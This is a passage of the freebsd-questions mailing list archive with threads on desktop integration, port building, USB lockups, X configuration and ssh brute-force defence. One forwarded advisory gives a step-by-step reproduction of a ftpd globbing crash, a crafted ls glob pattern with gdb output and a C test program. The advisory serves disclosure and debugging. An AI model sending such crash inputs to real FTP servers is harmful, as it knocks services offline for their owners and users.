2010-03-07 Thread Josh Paetzel
On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
 On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
  Hi,
  
  I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
  knows how to achieve this on FreeBSD 8?
  
  Anselm
  ___
  freebsd-questions@freebsd.org mailing list
  http://lists.freebsd.org/mailman/listinfo/freebsd-questions
  To unsubscribe, send any mail to
  
   freebsd-questions-unsubscr...@freebsd.org
 
 I believe you mean that you need KDE to open Firefox whenever you click on
 a link. That's easy. From your KDE menu, open System Settings (in the
 first tab, favorites)
 Then select Default Applications. Then, in the left list of the
 applications, choose Web browser, and at the right part of the screen
 choose the radio button in the following browser and in the edit box
 enter the /usr/local/bin/firefox3. Then apply the new settings.
 
 Elias

Another trick that PC-BSD useswhich might be more of what you are asking 
about is the installation of a port called x11-themes/gtk-qt4-engine  This 
port allows gtk applications to be displayed using qt, which helps integrate 
the look of things like FF, Thunderbird, OOo with KDE.

-- 
Thanks,

Josh Paetzel
FreeBSD -- The power to serve


signature.asc
Description: This is a digitally signed message part.


Re: EVOLUTION a, slow start, SOLVED

2010-03-07 Thread Rob Farmer
On Sun, Mar 7, 2010 at 6:55 AM, Sergio de Almeida Lenzi
lenzi.ser...@gmail.com wrote:
 Hello all..

 Finallly I got the problem with evolution  on FreeBSD solved.

 Happens that evolution is very slow, on startup, and consumes an HUGE
 amount
 of CPU (system), on startup, making it almost unuseable for multi user
 systems...


Thanks for looking into this - I've observed the slow startup with
Evolution too. Have you submitted a PR with the patch? That's the best
way to get it reviewed and included in the tree.

-- 
Rob Farmer
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: HTML5 under FreeBSD Desktop

2010-03-07 Thread Alexander Best
recent chromium builds on http://chromium.jaggeri.com/ and
http://code.google.com/p/chromium-freebsd8/ support html5. don't know if the
firefox and opera ports support html5 yet.

alex
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: KDE firefox integration

2010-03-07 Thread Anselm Strauss
On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote:
 On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
  On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
   Hi,
  
   I noticed that in PC-BSD 8 firefox is nicely integrated into KDE.
   Anybody knows how to achieve this on FreeBSD 8?
  
   Anselm
   ___
   freebsd-questions@freebsd.org mailing list
   http://lists.freebsd.org/mailman/listinfo/freebsd-questions
   To unsubscribe, send any mail to
  
freebsd-questions-unsubscr...@freebsd.org
 
  I believe you mean that you need KDE to open Firefox whenever you click
  on a link. That's easy. From your KDE menu, open System Settings (in
  the first tab, favorites)
  Then select Default Applications. Then, in the left list of the
  applications, choose Web browser, and at the right part of the screen
  choose the radio button in the following browser and in the edit box
  enter the /usr/local/bin/firefox3. Then apply the new settings.
 
  Elias
 
 Another trick that PC-BSD useswhich might be more of what you are
  asking about is the installation of a port called
  x11-themes/gtk-qt4-engine  This port allows gtk applications to be
  displayed using qt, which helps integrate the look of things like FF,
  Thunderbird, OOo with KDE.

I already installed the gtk-qt4-engine, but it has some serious bugs. Scroll 
bars are not painted, tab borders are painted at the wrong position, etc. 
Could this be because I modified some of KDEs appearance options?

Are there any other integration tweaks, like icons, keyboard shortcuts, file 
chooser dialog, ... ?

Thanks,
Anselm
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Lockups with USB disks on FreeBSD

2010-03-07 Thread David Jackson

Aiza wrote:

David Jackson wrote:

David Jackson wrote:

David Jackson wrote:
I am currently using FreeBSD 8.0. I have been, for a long time, 
been having problems with lockups of FreeBSD 8.0 when using USB 
hard disks. Sometimes certain applications lock up for several 
minutes, when they use the disk, file operations are very slow, and 
sometimes the entire operating system can lock up for several 
minutes. This can be a pretty painful thing and makes the system 
seem very unstable. I am using UFS filesystems on the disks. It 
seems to happen on multiple disks that i use.


I was hopeful changes to the FreeBSD USB drivers might have 
improved things but they are as bad as ever.


Help is appreciated.

Are there perhaps diagnostic tools or an error log that can be 
enabled so I can see if maybe there is some sort of error occuring 
with the USB transmissions that might be causing this problem, or 
perhaps what part of the driver code it is getting locked up on?.


Has anyone else experienced problems such as this with USB disks? If 
more information on my hardware is needed i will post dmesg output.


Any help is appreciated.
I have done some more thinking about this issue. Just an app freeze 
on USB access is one thing, however, the fact that the entire OS 
freezes up on access to the USB disk shows there are much more 
serious problems in the FreeBSD kernel. A USB access should not cause 
the kernel to lock up for minutes. these are very serious flaws in 
the FreeBSD kernel and lead to an instable and unuseable system. 

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to 
freebsd-questions-unsubscr...@freebsd.org




Your description about what is happening is lacking any detail.
Tell us what is on the USB disk, How you are using it, How you created 
it  ECT ECT ECT  Booting your system from it is way different than 
writing small data files to it or containing a raid file system or 
some database. You have to help us help you.
The USB disk is being used with 2 UFS filesystems on it. Due to the bad 
performance, it takes a long time to copy data to the disk. It seems as 
though there is a complete lock up periodically when doing a very large 
copy. The system becomes very unstable. Conditions worsen when two or 
three apps are using the disk at once, it seems. Often the entire OS can 
lock up for minutes when the disk is being used. I once tried to copy a 
200 mb directory, it took 7 hours. Perhaps the developers of the USB 
system would like discuss this, so we can figure out what is going on. I 
do not know enough about it as to say exactly where the problem is.

Has anyone else been having these problems?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: HTML5 under FreeBSD Desktop

2010-03-07 Thread Byung-Hee HWANG
Alexander Best alexbes...@wwu.de writes:

 recent chromium builds on http://chromium.jaggeri.com/ and
 http://code.google.com/p/chromium-freebsd8/ support html5. 

Great news, thank you very much!!

 don't know if the
 firefox and opera ports support html5 yet.

 alex

-- 
소여물 황병희(黃炳熙) | .. 출항 15분전..

Do you have my goods still? Did you look inside?
I'm not interested in things that don't concern me.
-- Peter Clemenza and Vito Corleone, Chapter 14,
   page 194-195
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: KDE firefox integration

2010-03-07 Thread Josh Paetzel
On Sunday 07 March 2010 10:53:29 Anselm Strauss wrote:
 On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote:
  On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote:
   On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote:
Hi,

I noticed that in PC-BSD 8 firefox is nicely integrated into KDE.
Anybody knows how to achieve this on FreeBSD 8?

Anselm
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to

 freebsd-questions-unsubscr...@freebsd.org
   
   I believe you mean that you need KDE to open Firefox whenever you click
   on a link. That's easy. From your KDE menu, open System Settings (in
   the first tab, favorites)
   Then select Default Applications. Then, in the left list of the
   applications, choose Web browser, and at the right part of the screen
   choose the radio button in the following browser and in the edit box
   enter the /usr/local/bin/firefox3. Then apply the new settings.
   
   Elias
  
  Another trick that PC-BSD useswhich might be more of what you are
  
   asking about is the installation of a port called
   x11-themes/gtk-qt4-engine  This port allows gtk applications to be
   displayed using qt, which helps integrate the look of things like FF,
   Thunderbird, OOo with KDE.
 
 I already installed the gtk-qt4-engine, but it has some serious bugs.
 Scroll bars are not painted, tab borders are painted at the wrong
 position, etc. Could this be because I modified some of KDEs appearance
 options?
 
 Are there any other integration tweaks, like icons, keyboard shortcuts,
 file chooser dialog, ... ?
 
 Thanks,
 Anselm

I've cc'd in Kris Moore.  Perhaps he can answer some of this.

-- 
Thanks,

Josh Paetzel
FreeBSD -- The power to serve


signature.asc
Description: This is a digitally signed message part.


Re: KDE firefox integration

2010-03-07 Thread Masoom Shaikh
On Sun, Mar 7, 2010 at 1:56 PM, Anselm Strauss amsiba...@gmail.com wrote:
 Hi,

 I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody
 knows how to achieve this on FreeBSD 8?

 Anselm
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


perhaps you could try
https://addons.mozilla.org/en-US/firefox/addon/7574
http://ramonantonio.net/kde-firefox/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: HTML5 under FreeBSD Desktop

2010-03-07 Thread Abdullah Ibn Hamad Al-Marri
Good bye adobe lame Flash player which never wanted to support FreeBSD and *BSD.

HTML5, welcome abroad :)

 Regards,


-Abdullah Ibn Hamad Al-Marri
Arab Portal
http://www.WeArab.Net/


  
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


make make install accept defaults

2010-03-07 Thread n dhert
When installing gnome from the ports
# make install clean
installs a few hundred packages and displays dozens and dozens times a
configuration window
which I always answer by hitting TAB key to move to OK button and then
enter.
Now this installation is already busy for 7 hours (when will it end?) ...
keeping me locked to my PC ...
How to specify   make install clean ..   witj extra options so that is
will answer a configuration window autoamtically
to always accept all the defaults so that you can make an Gnome installation
in an unattended way?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: HTML5 under FreeBSD Desktop

2010-03-07 Thread Robert Huff

Abdullah Ibn Hamad Al-Marri writes:

  Good bye adobe lame Flash player which never wanted to support
  FreeBSD and *BSD. 
  
  HTML5, welcome abroad :)

Unless you know something we don't, don't bet the rent money
just yet.


Robert Huff

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: make make install accept defaults

2010-03-07 Thread Dan Naumov
Portmaster (ports-mgmt/portmaster) will help you do that.

- Sincerely,
Dan Naumov
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: make make install accept defaults

2010-03-07 Thread korszca
You may also want to try make BATCH=yes install clean

~Brian Callahan
--Original Message--
From: n dhert
Sender: owner-freebsd-questi...@freebsd.org
To: freebsd-questions@freebsd.org
Subject: make make install accept defaults
Sent: Mar 7, 2010 2:08 PM

When installing gnome from the ports
# make install clean
installs a few hundred packages and displays dozens and dozens times a
configuration window
which I always answer by hitting TAB key to move to OK button and then
enter.
Now this installation is already busy for 7 hours (when will it end?) ...
keeping me locked to my PC ...
How to specify   make install clean ..   witj extra options so that is
will answer a configuration window autoamtically
to always accept all the defaults so that you can make an Gnome installation
in an unattended way?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Sent from my Verizon Wireless BlackBerry___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org

Re: EVOLUTION a, slow start, SOLVED

2010-03-07 Thread Joe Marcus Clarke
On Sun, 2010-03-07 at 11:55 -0300, Sergio de Almeida Lenzi wrote:
 Hello all..   
 
 Finallly I got the problem with evolution  on FreeBSD solved.
 
 Happens that evolution is very slow, on startup, and consumes an HUGE
 amount
 of CPU (system), on startup, making it almost unuseable for multi user
 systems...
 
 The problem is that some plugins  did not offer the startup entries
 that gnome (glib) wants. so FreeBSD tries to resolv the entry using
 dlsym(...)
 and search the entire user address space for that...
 
 a simple patch  for the plugins and e-util/e-plugin.c module solved
 the problem
 and now evolution starts in 3 seconds...

Thanks for looking into this.  Your attached Base64 stream is corrupt.
I was able to look at some of the patch, and I don't see why those
g_warning() calls need to be there.  Can you resubmit the patch (you can
unicast me) with just the stub functions returning the required values?
Thanks!

Joe

-- 
Joe Marcus Clarke
FreeBSD GNOME Team  ::  gn...@freebsd.org
FreeNode / #freebsd-gnome
http://www.FreeBSD.org/gnome


signature.asc
Description: This is a digitally signed message part


Re: make make install accept defaults

2010-03-07 Thread Randal L. Schwartz
 n == n dhert ndhert...@gmail.com writes:

n When installing gnome from the ports
n # make install clean
n installs a few hundred packages and displays dozens and dozens times a
n configuration window
n which I always answer by hitting TAB key to move to OK button and then
n enter.
n Now this installation is already busy for 7 hours (when will it end?) ...
n keeping me locked to my PC ...
n How to specify   make install clean ..   witj extra options so that is
n will answer a configuration window autoamtically
n to always accept all the defaults so that you can make an Gnome installation
n in an unattended way?

I do all the configs ahead of time.  There are multiple ways to do that.

make config-recursive if you're just using the raw Makefiles.

portinstall -c PORTNAME if you're using Portinstall (my favorite).

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
mer...@stonehenge.com URL:http://www.stonehenge.com/merlyn/
Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc.
See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: KDE firefox integration

2010-03-07 Thread Patrick Lamaiziere
Le Sun, 7 Mar 2010 17:53:29 +0100,
Anselm Strauss amsiba...@gmail.com a écrit :

  Another trick that PC-BSD useswhich might be more of what you
  are asking about is the installation of a port called
   x11-themes/gtk-qt4-engine  This port allows gtk applications to be
   displayed using qt, which helps integrate the look of things like
  FF, Thunderbird, OOo with KDE.
 
 I already installed the gtk-qt4-engine, but it has some serious bugs.
 Scroll bars are not painted, tab borders are painted at the wrong
 position, etc. Could this be because I modified some of KDEs
 appearance options?

You have some preferences in the setup pannel for the engine, did you
try to change things?

I've used gtk-qt4-engine without these problems. Anyway, firefox does
not terminate when I use gtk-qt4-engine. There is stil a firefox-bin
process.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Configure X: multiple keyboard layouts ?

2010-03-07 Thread Frank Shute
On Sun, Mar 07, 2010 at 11:09:16AM +0100, Niki Kovacs wrote:

 Hi,
 
 I'd like to configure X for multiple keyboard layouts, e. g.:
 
 - french
 - swiss french
 - german
 
 On my Linux box (running CentOS 5.4 and a dated version of X.org), the 
 configuration for this looks like this :
 
 Section InputDevice
   Identifier  Keyboard0
   Driver  kbd
   Option  XkbModel pc105
   Option  XkbLayout fr,ch,de
   Option  XkbVariant ,fr,
   Option  XkbOptions grp:alt_shift_toggle
 EndSection
 
 This stanza enables me to toggle between different keyboard layouts, 
 using the [Alt]+[RightShift] key combination. You might wonder about the 
 XkbVariant option: the swiss keyboard layout has two variants: fr and 
 de. This is to indicate the swiss roman layout.
 
 Now is there any way I could achieve a similar thing with the more 
 recent X.org shipping with FreeBSD 8.0 ?
 
 Any suggestions ?

Hi Niki,

Welcome to FreeBSD!

There is a way to achieve similar results with recent X.org.

X nowadays can get by without an xorg.conf and by default it uses hald
and dbus to configure keyboard, mouse etc.

It's documented how you can create an xorg.conf and use that for
device config rather than hald:

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/x-config.html

You basically create an xorg.conf and then add:

Option AutoAddDevices false

to the ServerLayout section and then your keyboard config placed in
your xorg.conf will be picked up.

You will also need a section for the mouse along the lines of:

Section InputDevice
Identifier  Mouse0
Driver  mouse
Option  CorePointer
Option  Protocol auto
Option  Device /dev/sysmouse
#   Option  Emulate3Buttons false
Option  ZAxisMapping 4 5 6 7# For scroll wheel
EndSection

It's parameters are dependent on your type of mouse.

With that and xorg.conf placed under /etc/X11/ you should be good to
go.

But I'm quite sure you know that xorg.conf can be a fiddle ;)

If you get stuck, post your xorg.conf

BTW, if you haven't read it already the manpage for moused(8) is quite
a revelation. The FreeBSD mouse driver puts the Linux mouse driver to
shame!

Regards,

-- 

 Frank

 Contact info: http://www.shute.org.uk/misc/contact.html


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Thousands of ssh probes

2010-03-07 Thread dacoder

+++ Erik Norgaard [06/03/10 02:44 +0100]:

On 05/03/10 13:54, John wrote:

My nightly security logs have thousands upon thousands of ssh probes
in them.  One day, over 6500.  This is enough that I can actually
feel it in my network performance.  Other than changing ssh to
a non-standard port - is there a way to deal with these?  Every
day, they originate from several different IP addresses, so I can't
just put in a static firewall rule.  Is there a way to get ssh
to quit responding to a port or a way to generate a dynamic pf
rule in cases like this?


This is a frequent question on the list, search the archives. Basically 
there are few things that you can do:


1. limit the access to a range of IPs, for example, even if you travel a 
lot you go to al limited number of countries, why permit access from 
other continents?


2. limit access to certain users, there is no need to allow games or 
root user to authenticate via ssh. Use AllowUsers or AllowGroups to 
restrict access to real users.


3. limit the amount of concurrent non-authenticated connections, number 
of failed attempts and similar.


4. prohibit password authentication.

If the problem is that these attacks consume significant bandwidth then 
moving your service to a different port may be a good solution, but if 
your concern is security, then the above is more effective.


BR, Erik

--
Erik Nørgaard
Ph: +34.666334818/+34.915211157  http://www.locolomo.org
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


--
has anybody suggested having sshd listen on a high port?

regards,

david coder
network engineer emeritus, verio/ntt
telluride, co  washington, dc
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


[OT] ssh security

2010-03-07 Thread Angelin Lalev
Greetings,

I'm doing some research into ssh and its underlying cryptographic
methods and I have questions. I don't know whom else to ask and humbly
ask for forgiveness if I'm way OT.

So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
These algorithms can defeat any attempts on eavesdropping, but cannot
defeat man-in-the-middle attacks. To defeat them, some pre-shared
information is needed - key fingerprint.

If hypothetically someone uses instead of the plain text
authentication some challenge-response scheme, based on user's
password or even a hash of user's password would ssh be able to avoid
the need the user to have key fingerprints of the server prior the
first connection?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: [OT] ssh security

2010-03-07 Thread Angelin Lalev
On Sun, Mar 7, 2010 at 11:25 PM, Angelin Lalev lalev.ange...@gmail.com wrote:
 Greetings,

 I'm doing some research into ssh and its underlying cryptographic
 methods and I have questions. I don't know whom else to ask and humbly
 ask for forgiveness if I'm way OT.

 So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
 These algorithms can defeat any attempts on eavesdropping, but cannot
 defeat man-in-the-middle attacks. To defeat them, some pre-shared
 information is needed - key fingerprint.

 If hypothetically someone uses instead of the plain text
 authentication some challenge-response scheme, based on user's
 password or even a hash of user's password would ssh be able to avoid
 the need the user to have key fingerprints of the server prior the
 first connection?


To clarify, we as users anyway do have shared secret with the server
and that's the authentication password why we could not use that
instead of or in addition to a key fingerprint?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: freebsd install from floppy

2010-03-07 Thread Walt Pawley
At 1:28 PM -0500 3/6/10, Chuck Swiger wrote:

While I think floppy drives are still useful for BIOS updates and the
like, it's not just Apple that isn't selling machines with floppy
drives any more.  Go to HP or Dell and try to buy a new machine with a
floppy drive-- they don't sell them anymore, either...

I certainly can't argue that modern machines typically have
floppy drives ... even if the motherboard supports one.

So what?

Not everyone in the world throws their three year old
computer in the trash so they can stay up to date. I, for one,
find it very annoying that new versions of software which once
worked just fine on equipment I still use every day no longer
work in their current incarnations. Delving into several such
cases, I've found comments to the effect that functions are
removed because no one uses the old stuff (ie. three years
old) any more.
-- 

Walter M. Pawley w...@wump.org
Wump Research  Company
676 River Bend Road, Roseburg, OR 97471
 541-672-8975
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: Thousands of ssh probes

2010-03-07 Thread Erik Norgaard

On 07/03/10 21:41, dacoder wrote:


has anybody suggested having sshd listen on a high port?


Any number will do, think about it:

a. The attacker doesn't really care which host is compromised any will 
do, and better yet someones home box as it is more difficult to trace 
him. In that case he will scan large ip-ranges for hosts listening on 
port 22.


b. The attacker wants to gain control of a particular server. In that 
case he will scan all ports to see what services are running and 
determine which services are running on each port. In that case running 
ssh on a non-standard port is futile.


However, I'm not really a fan of using non-standard ports for ssh, I 
don't believe it's the right solution to the problem: You have ssh 
access to the outside because people travel and need remote access. In 
that case they might find themselves under other security policies which 
block access to services deemed unnecessary. Running ssh on a 
non-standard port is likely to be blocked on the client network - unless 
you run on, say, port 80.


The more uses you have, the more problems you will have running ssh on a 
non-standard port, the time you save checking your logs may easily be 
spent on end user support.


OP referred to significant impact on bandwidth which I find difficult to 
believe. In case connections come from a single ip at a time then you 
should tweak LoginGraceTime, MaxAuthTries, MaxSessions to reduce the 
number of concurrent un-authenticate connections and slow down brute 
force attacks.


Much better, restrict the client access to certain ranges of IPs. The 
different registries publish ip ranges assigned per country and you can 
create a list blocking countries you are certain not to visit, you can 
use my script:


   http://www.locolomo.org/pub/src/toolbox/inet.pl

BR, Erik

--
Erik Nørgaard
Ph: +34.666334818/+34.915211157  http://www.locolomo.org
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Re: ports/144357: emulators/wine build failure

2010-03-07 Thread Gerald Pfeifer
Hi Eitan,

On Mon, 1 Mar 2010, Eitan Adler wrote:
 Which version of flex are you using (you can find out running
 /usr/local/bin/flex --version)?
 %flex --version
 flex version 2.5.4

that is the system version of flex; I was specifically asking for
the one in /usr/local/bin/flex which is used by the wine port (since
the system one is too old for wine).

 WITHOUT_NLS=YES
 OPTIMIZED_CFLAGS=yes
 PERL_VERSION=5.10.1
 
 that is all. Perhaps it is the NLS which is causing a problem?

It should not, but if you can rebuild flex and Wine without this, that
would be an interesting data point.

My take it this is that _something_ is causing flex to generate incorrect
code or the toolchain is miscompiling something.  That's why I asked about
the version of flex you are using, that is the one thing I could think of.
(Over here it is flex 2.5.35, the package 2.5.35_3.)

Gerald
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


[Full-disclosure] FreeBSD and OpenBSD ftpd bug (not exploitable?)

2010-03-07 Thread Zamri Besar
Dear all,

Found this in full-disclosure mailing list.

-- Forwarded message --
From: Kingcope kco...@googlemail.com
Date: Fri, Mar 5, 2010 at 11:19 PM
Subject: [Full-disclosure] FreeBSD and OpenBSD ftpd bug (not exploitable?)
To: full-disclos...@lists.grok.org.uk, bugt...@securityfocus.com


 FreeBSD ftpd globbing bug - null pointer dereference ?

Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9

Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6

Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009 r...@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC
i386

Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its ftpd
when handling globbing requests.

My investigation results in this being a null pointer dereference in
popen.c.
I am not sure if this could be a heap overrun, but I don't think so.

from popen.c:

/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc]  gargc  (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop  gargc  (MAXGLOBARGS-1);
 pop++)
gargv[gargc++] = strdup(*pop);
globfree(gl);
}

At [1] glob() is called. if theres a long directory (for example A x 200)
and a request like described
in how to repeat this problem is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl structure.
In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null pointer
and the ftpd instance crashes.

Could someone please shed some light into why glob doesn't fail but gives a
zeroed out structure back?

How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp mkdir
W
257
W
directory created.
ftp ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
---snip---

on the other side:

---snip---
0x282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language:  auto; currently asm
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax0x0 0
ecx0x0 0
edx0x0 0
ebx0xbfbfd911 -1077946095
esp0xbfbfba70 0xbfbfba70
ebp0xbfbfcc08 0xbfbfcc08
esi0x1 1
edi0xbfbfcbf4 -1077949452
eip0x805622c 0x805622c
eflags 0x10293 66195
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) x/10i $eip
0x805622c getline+12620: mov(%edx),%eax
0x805622e getline+12622: setle  %cl
0x8056231 getline+12625: mov%ecx,%esi
0x8056233 getline+12627: test   %eax,%eax
0x8056235 getline+12629: je 0x8056281 getline+12705
0x8056237 getline+12631: test   %cl,%cl
0x8056239 getline+12633: je 0x8056281 getline+12705
0x805623b getline+12635: mov%edx,%ebx
0x805623d getline+12637: mov0xee7c(%ebp),%edx
0x8056243 getline+12643: lea0xee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0x805622c in getline; saved eip 0x805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame's sp is 0xbfbfcc10
Saved registers:
  ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
0xbfbfcc04,
  eip at 0xbfbfcc0c
(gdb)

Testing program:

---snip---

#include glob.h
#include stdio.h

#define MAXUSRARGS  100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, {A*/../A*/../A*/../A*/../A*/../A*/../A*});

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, gl)) {
printf(GLOB FAILED!\n);
return 0;
}
else
//   

Re: mailing list archive as mbox

2010-03-07 Thread Alexander Best
Giorgos Keramidas schrieb am 2010-03-07:
 On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best
 alexbes...@wwu.de wrote:
  Dan Nelson schrieb am 2010-03-07:
  In the last episode (Mar 07), Alexander Best said:
   hi there,

   what are the steps i need to perform to get a copy of the entire
   mailingslist
   archive of lets say freebsd-current@ in mbox format?

  Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
  where you
  can download weekly gzipped archives of all the mailing lists
  since
  their
  creation.

  thanks for the hint, but it would take hours to download all those
  gzipped
  files, extract them and merge them.

  i really need ALL the messages of a mailinglist. of course i could
  use the
  gzipped files you mentioned if i had some script for downloading
  extracting
  and merging all those files for me.

 It's relatively easy to hack one.

wow!!! thanks a billion. that's a great script. i pointed the vars containing
ftp sites at mirrors near me which give me better download speed and will run
the script for freebsd-current@ this night (~850 archives to pull).

thanks again. great job. :-)

alex

 You can get a list of year names from the /archive/ directory itself
 with curl(1) and a small amount of Python plumbing around curl:

  from subprocess import Popen as popen, PIPE
  import re
  yre = re.compile('^d.*\s(\d+)$')
  devnull = file(/dev/null)
  def years():
 ... curl = curl -o /dev/stdout
 ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/;
 ... ylist = []
 ... for line in popen(curl, shell=True, stdout=PIPE,
 stderr=devnull).stdout.readlines():
 ... m = yre.match(line)
 ... if m:
 ... ylist.append(int(m.group(1)))
 ... return ylist
 ...
  years()
 [1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003,
 2004, 2005,
  2006, 2007, 2008, 2009, 2010]

 Then you can grab a list of the freebsd-current archives by looping
